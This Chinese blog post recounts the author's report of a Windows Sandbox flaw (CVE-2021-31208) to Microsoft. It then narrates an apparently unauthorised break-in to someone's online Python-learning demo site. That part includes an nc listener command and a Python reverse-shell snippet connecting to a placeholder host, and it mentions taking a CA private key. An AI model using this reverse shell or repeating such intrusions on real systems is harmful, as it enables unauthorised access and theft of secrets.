You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
mabbs/_posts/2021-05-15-vulnerability.md

44 lines
8.6 KiB

This file contains ambiguous Unicode characters!

This file contains ambiguous Unicode characters that may be confused with others in your current locale. If your use case is intentional and legitimate, you can safely ignore this warning. Use the Escape button to highlight these characters.

---
layout: post
title: 论如何发现一个计算机漏洞
tags: [安全, 漏洞, 网络]
---
网络安全?可不只是专业人员的事情。<!--more-->
# 起因
一个月前我发现了Windows沙箱有个很严重的漏洞害得我都不敢相信微软产品的安全性了……不过Windows沙箱还是挺好用的我不希望因为这种安全问题就放弃它所以我就向微软反馈了这个漏洞。
于是昨两天,微软给我发邮箱说这个漏洞已经修好了,顺便感谢了一下我对微软产品安全性的贡献。虽然吧这个感谢也没给钱啥的,但是这个[漏洞的描述页面](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31208)能把我的名字写上去这个我还是挺高兴的。
在我收到这个消息当天,我兴奋的顺手又黑掉了一个网站😂,难不成我的天赋在信息安全上?
# Windows沙箱的漏洞发现过程与复现方法
在几个月前我的电脑莫名其妙的被安装上了Microsoft Edge Beta版我明明从来没有安装过但是它就是莫名其妙的出现了。这么一安装我的电脑就有了两个Edge浏览器。像我对电脑上面的东西还是有一点点的洁癖的我不希望电脑上出现多余的东西像这种出现两个Edge的问题我肯定是无法忍受。所以呢我就开始想方设法的卸载掉它。
一般来说Edge Beta都是手动安装的所以这种情况在“卸载或更改程序”里应该是可以发现的但是这个是莫名其妙被安装上的自然也就不会出现在那个列表之中。接下来我开始搜如何强行卸载掉Edge网上搜到的答案一般就是在浏览器内核文件夹下找到`Installer`文件夹,然后在这个文件夹下执行命令`.\setup.exe --uninstall --system-level --verbose-logging --force-uninstall`就OK了。结果我明明是去的Beta版下的那个文件夹执行的这条命令然后它把我正式版的Edge卸掉了……卸掉之后不仅留下了一个删不掉的图标而且Beta版里也没有我的Cookie和插件……
过了两天Windows更新了更新之后正式版的又给我安装回来了……这真的是不知道怎么说……后来我下了一个Geek Uninstaller总算是把那个困扰我很长时间的Edge Beta卸载掉了。
就以上这件事情搞的我很烦躁烦躁之后就想发泄发泄又不能对着我的电脑发泄于是我就打开了Windows沙箱把Windows沙箱里的Edge给卸载掉了。结果怎么着我物理机上的Edge也不见了这说明了啥问题我在沙箱里做的操作竟然影响到了物理机后来我经过测试发现微软似乎把物理机里的`C:\Program Files (x86)\Microsoft\Edge\Application`文件夹映射到了沙箱里,而且没有做任何的限制。这可真是太可怕了,要知道沙箱相当于一个被信任执行危险东西的一个地方,那么使用它的人都是不会考虑里面运行的东西是不是安全的,看来阿三写的代码不行啊。假如我写一个程序,它把`msedge.exe`文件感染了比如说加个壳啥的物理机上用Edge的人应该也不少吧至少市场占有率都已经超过Firefox了那么在沙箱里Edge被感染的人在物理机上一旦运行那么物理机将陷入危险的境地。
最开始我发现了这个漏洞之后我是在反馈中心里提交的,不过那个看起来貌似一点点用都没有,微软是没有人会去看那个东西的,而且就算看到了也只会静悄悄的修复掉,你的反馈就和垃圾没什么区别。
后来我在百度上搜怎么向微软提交漏洞,百度简直就是个垃圾,没有搜到一点点有用的信息,之后看了半天我看到有一个文章说可以给 <secure@microsoft.com> 发邮件来反馈BUG于是我就用英文写了篇文章来报告这个BUG。
不过我的方法并不正确因为微软有专门反馈BUG的网站也就是[Microsoft Security Response Center](https://www.microsoft.com/zh-cn/msrc/)。你如果直接用邮箱报告他们当然也会回复,但是大概率得不到奖金,因为人家的报告一般都有格式,自己写邮件肯定是不知道要按什么格式写。所以垃圾百度搜给微软报告漏洞根本找不到这个网站,还是我发了邮件之后才知道原来可以在这里报告,所以如果大家以后找到微软的漏洞想报告,千万不要用那个垃圾“反馈中心”,也不要发邮件,最好直接在[这里](https://msrc.microsoft.com/create-report)报告漏洞。
另外还有个问题就是如果真的得到了奖金拿到它也有点麻烦因为微软不能说是让你发个支付宝收款码之类的得先注册一个HackerOne或者Bugcrowd的账户而且从国外提款很麻烦所以如果不是那种经常能发现漏洞的或者是在安全公司里的人基本上这钱就还是别提了。
## 复现的环境要求
这个漏洞的大致使用方法读完上面的部分大家应该也都明白了吧PoC那种东西我怎么可能会写傻子都知道怎么测试了吧所以如果大家想复现这个漏洞首先需要运行在Windows 10的电脑上安装Windows沙箱最早的有效版本我不太清楚因为这个漏洞是微软把旧版的Edge完全从电脑上删除开始的另外目前的话如果想要复现这个漏洞不能安装[KB5003173](https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB5003173)补丁如果安装了貌似也可以卸载掉。所以以当前发布这篇文章的时间来看只要在最新的Windows 10上卸载KB5003173补丁然后安装Windows沙箱就可以复现这个漏洞。
## 人生中第一个自己贡献了的CVE
看来[CVE-2021-31208](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31208)就是我贡献的了,以后只要在微软的[鸣谢列表](https://msrc.microsoft.com/update-guide/acknowledgement)里搜索Mayx就可以搜到我找到的漏洞了虽然这个漏洞很简单但是自己的名字能写到那个列表里也挺令人高兴的啊。
# 那天我黑掉的网站
5月12日那天有一名叫做[Kingfish404](https://github.com/Kingfish404)的人Fork了我的博客结果第一眼看到了那个爬猎聘网的脚本吓得我还以为这位是我的老师因为最近我参与的一个项目就是去爬各种招聘网站。总之就是这些原因我对这个人产生了一点点兴趣就看了看Ta的仓库。看着看着看到了一个可以[在线学习Python的网站源代码](https://github.com/Kingfish404/LearnPython)我很久以前就很想做一个开源的这种在线运行Python代码然后可以自动批阅的网站就像Python123那样就是因为他们那个服务要收费所以就想写个开源的不过因为如果直接用Python在服务器上运行的话实在是太危险了所以我想的是写一个使用Docker来运行Python并且评分的平台也许可以用k8s可惜我水平有限不怎么会用Docker所以就没再管了。但是今天既然看到了那不得拜读一下结果发现这个人写的就是我说的那种危险方法运行Python脚本的看了一下代码还用了一个漏洞百出的安全检查函数来防止攻击……总之既然有示例站我们就来搞搞试试看嘛。一般来说这种反弹shell绝对是简单的不得了不过我也只是知道这个概念怎么用我还是不太清楚。然后就搜了一下看到了[这篇文章](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)。嗯……现实中攻击还是要比CTF中攻击有意思然后我就在我的服务器上执行了一下`nc -lvvp 1234`,在它的代码执行框里执行:
```python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("remote-ip",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
```
就这样我就成功的反弹了一个Shell虽然吧Ta给的权限不高但是下个CA证书的私钥还是轻轻松松的。后来我给这个人反馈了一下他就把网站关掉了。
所以如果谁有兴趣想亲手试试看怎么反弹Shell也可以下载Ta的代码试一试。
# 总结
从以上来看,想找漏洞绝不是一定要学过网络/信息安全的人才能干的事情,至少我不是信息安全专业的,所以只要有能注意到问题的思考方法,要正面面对问题,要刻意触发问题,知道问题出现在哪里,猜测问题可以做什么,那么谁都可以发现漏洞,虽然发现了也不能说是大神吧……但是你看看这把我的名字写到鸣谢里不挺让人开心的吗?